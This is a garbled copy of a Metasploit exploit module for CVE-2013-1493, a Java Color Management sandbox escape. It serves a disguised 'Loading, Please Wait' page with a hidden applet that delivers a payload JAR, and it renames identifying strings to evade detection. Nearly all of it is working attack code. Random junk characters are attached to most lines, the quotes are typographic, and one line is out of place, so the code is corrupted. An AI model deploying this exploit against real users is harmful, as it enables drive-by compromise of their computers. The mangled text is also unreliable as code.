##) O5 ~9 J+ Q7 i; e g6 Y
, a* `( @% S% C; W- K* _# This file is part of the Metasploit Framework and may be subject to" b. C/ ?: |2 B% E4 e; a1 P5 s
# redistribution and commercial restrictions. Please see the Metasploit* e+ J1 r7 s+ x$ T! G
# web site for more information on licensing and terms of use.3 d& i1 L& b$ R S- b0 t
# http://metasploit.com/
9 T0 f; X" B! {% Y##
- w- [/ z% P; y$ U$ crequire ‘msf/core’
- l# x/ V3 E+ m1 ]# j3 p1 }require ‘rex’
; K% r3 N6 Z q$ @! }# e; Eclass Metasploit3 < Msf::Exploit::Remote: Y& [3 R3 A `4 @ F1 y0 G+ t
Rank = NormalRanking
5 D8 t' A8 [% s' |% b# k5 D* W4 ~3 `include Msf::Exploit::Remote::HttpServer::HTML
# [8 l3 `' N) a! Q6 Iinclude Msf::Exploit::EXE" { l+ R8 P6 I- k- h
include Msf::Exploit::Remote::BrowserAutopwn
: W; K0 j! t( v" b5 M$ D4 A1 Nautopwn_info({ :javascript => false })
/ o O( }; q9 `4 Jdef initialize( info = {} )
& a0 f/ T N3 asuper( update_info( info,3 m8 A* V, v* D6 _ T" a, }
‘Name’ => ‘Java CMM Remote Code Execution’,9 _! V/ k- x" H
‘Description’ => %q{
) H% `, h8 D& D5 c1 Q0 v! qThis module abuses the Color Management classes from a Java Applet to run" t7 F# U6 C, O+ T5 O8 l
arbitrary Java code outside of the sandbox as exploited in the wild in February
6 J V! m7 @8 F \9 qand March of 2013. The vulnerability affects Java version 7u15 and earlier and 6u412 b: G) ]! e! M- x+ \
and earlier and has been tested successfully on Windows XP SP3 and Windows 7 SP1
! a9 j# N0 J1 m: i) G4 j* E# Osystems. This exploit doesn’t bypass click-to-play, so the user must accept the java
' a2 h7 T/ K1 r" y0 u; pwarning in order to run the malicious applet.& }. q: \" y8 q, e( C/ z% |1 F
},
. ^% X: ~" z; S; Z‘License’ => MSF_LICENSE,
( a* \6 t b7 w4 f9 V, y0 R‘Author’ =>
- F9 ^9 J$ D8 s, I( u'Unknown', # Vulnerability discovery and Exploit
; V! i; }; y( l9 T! `5 ?8 b'juan vazquez' # Metasploit module (just ported the published exploit)1 ?% f z! Z% k( \( n0 @' F
],
' B; E' B, _& `‘References’ =>
* r+ H5 `7 v8 e7 D2 J[
( h. c: j" F: }7 Z5 }+ J[ 'CVE', '2013-1493' ],1 g* V) J% h: B
[ 'OSVDB', '90737' ],( @) j# x3 ?5 P) ~
[ 'BID', '58238' ],
: X, J" W0 w* H/ f0 M- w$ R[ 'URL', 'https://blogs.oracle.com/security/entry/security_alert_cve_2013_1493' ],- p, n7 A/ m4 X% V8 k; n
[ 'URL', 'http://www.oracle.com/technetwork/topics/security/alert-cve-2013-1493-1915081.html' ],
, v2 g, I- j1 S* M$ K& V) z[ 'URL', 'http://pastie.org/pastes/6581034' ]
$ c3 C. w/ K) L# I" r8 [% q5 ~- S],
, v9 e9 Y' F/ \9 q* \3 B5 z6 F‘Platform’ => [ 'win', 'java' ],
" S% K/ { }. E0 ` t) ~‘Payload’ => { ‘Space’ => 20480, ‘BadChars’ => ”, ‘DisableNops’ => true },
( e, k2 [+ j5 ?6 T7 }‘Targets’ =>: ?. u3 L2 l- h1 B2 S
[
E R! w; X4 O7 \$ E[ 'Generic (Java Payload)',, }0 V$ E! M4 k; O$ N
{
0 Q; q8 \: G# S( D: J5 `3 B! x$ G8 d* H'Platform' => 'java',
4 P- C& {+ ?; E; b6 z+ u* r) F5 X8 D'Arch' => ARCH_JAVA6 k9 S6 \4 `4 a3 @' x. M, _
}+ K4 n; I U5 |
],
) x4 G! `" D9 S! S7 w- h[ 'Windows x86 (Native Payload)',1 d9 \8 ?; U" `' `: C; F
{
- @2 ~5 F1 I7 Y' n'Platform' => 'win',
6 ~3 W( M2 H6 S# S. Y'Arch' => ARCH_X86- O( N( z- d- T0 ]% p; L4 d5 w6 G
}
; S4 i) J+ D9 B8 t- ^]
# K8 v, `) m5 v" K O. X$ s/ {/ a3 r],
8 L1 l! k! |1 V- s- F‘‘DisclosureDate’ => ‘Mar 01 2013′
' z9 c$ s9 _( \2 V: g7 l)), N7 t5 L& Z# x. t
end
0 T( R+ l6 H8 |def setup/ q: [! g; G" l% E) U, n! }4 l. t
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Init.class”), Q3 _8 ]+ u+ G. Y
@init_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
3 K& z' a( R& l, l& @, S f# kpath = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “Leak.class”)
+ b+ i8 O1 Q0 W C@leak_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }! T/ Y1 L( K& m- Q2 u) q, N
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyBufferedImage.class”)/ `) B( P1 k- a p- R2 O9 d
@buffered_image_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }; @& O8 d8 S1 G/ z, T1 W: g& m& c
path = File.join(Msf::Config.install_root, “data”, “exploits”, “cve-2013-1493″, “MyColorSpace.class”)
, W# \2 ~7 L4 P; R@color_space_class = File.open(path, “rb”) {|fd| fd.read(fd.stat.size) }
& c3 c$ I' h8 R- h: v@init_class_name = rand_text_alpha(“Init”.length)
& b# ]# |9 {3 z! q3 k: B* }@init_class.gsub!(“Init”, @init_class_name)5 i% ?+ H; t/ v4 S, c. {0 O- i
super
$ ~+ O$ S+ Q* G4 jend
+ }4 I& F8 P4 G8 A* R4 idef on_request_uri(cli, request)
# ~" K2 M( ~8 q" x. P/ Y' Pprint_status(“handling request for #{request.uri}”); {% ^5 T5 f4 y
case request.uri
$ B9 n0 O. _* r) Y5 Iwhen /\.jar$/i
% v" ~; j7 N4 Ijar = payload.encoded_jar: F1 i; |! N; H Z2 E8 M- V2 P
jar.add_file(“#{@init_class_name}.class”, @init_class)
8 T9 [' F( f" P( L) wjar.add_file(“Leak.class”, @leak_class)6 B- z' T5 G1 @" H) E4 {
jar.add_file(“MyBufferedImage.class”, @buffered_image_class), H' W; \3 Y% k& W) N
jar.add_file(“MyColorSpace.class”, @color_space_class)
( s4 n9 B @6 ]9 v0 o) _DefaultTarget’ => 1,0 F) t! e4 L9 f( e7 b: w
metasploit_str = rand_text_alpha(“metasploit”.length)' d. A- R: M, i9 u
payload_str = rand_text_alpha(“payload”.length)0 `/ J0 J& {! S! h4 P8 D
jar.entries.each { |entry|
; e1 q, C( G5 [3 I" B# H6 aentry.name.gsub!(“metasploit”, metasploit_str)8 j: H$ h2 U) Y% X5 L9 m& \
entry.name.gsub!(“Payload”, payload_str)$ e Z2 x) l" D9 Q3 W( u: }" ~# C
entry.data = entry.data.gsub(“metasploit”, metasploit_str)
7 T- A% W- g3 z; d/ [& l6 i5 rentry.data = entry.data.gsub(“Payload”, payload_str): P R8 D$ j9 w
}: z$ X" B# G& k0 r
jar.build_manifest
/ U& W: Q. ^" r& { Q' m; R/ h* `send_response(cli, jar, { ‘Content-Type’ => “application/octet-stream” })
& A1 }& F4 l# Bwhen /\/$/
$ j+ n# z* |/ n6 Ppayload = regenerate_payload(cli)
. Z; g1 S, e7 j$ L) l- f' q* ?if not payload* g5 ~2 @& R5 \6 f
print_error(“Failed to generate the payload.”)
! U* E; }) _* T# s: Zsend_not_found(cli)
5 p3 e, _9 b( k2 h7 W5 I9 V$ kreturn
6 I C: U& F' [6 I( ?+ j% ^end
0 y) }3 Q7 ~- R# W6 Lsend_response_html(cli, generate_html, { ‘Content-Type’ => ‘text/html’ })
; |9 q5 I. l3 c( }- w7 h. Lelse, u# |# ] {- P, M* v: D) ?
send_redirect(cli, get_resource() + ‘/’, ”)
. C( \6 }# o/ y2 bend
6 E% j: I& Q. ?, } s, J" L: {end8 V1 d9 O: T& }( {. Q$ C) h
def generate_html* R8 e% z7 T/ m4 F; h
html = %Q|<html><head><title>Loading, Please Wait…</title></head>|( E! \+ b6 @' c" U7 ~, a
html += %Q|<body><center><p>Loading, Please Wait…</p></center>|- s: B& W7 T6 _! k" J' Z! R
html += %Q|<applet archive=”#{rand_text_alpha(8)}.jar” code=”#{@init_class_name}.class” width=”1″ height=”1″>|
( Z- y, O& _. X( v2 j% j( bhtml += %Q|</applet></body></html>|) }) B, l3 `- M3 {( o& ]
return html
) ]: V9 k" [8 bend: T6 ^# f: W& j8 c
end
( ?) D9 k. j! U- uend1 A. M$ Z1 U8 r" {- h7 @
|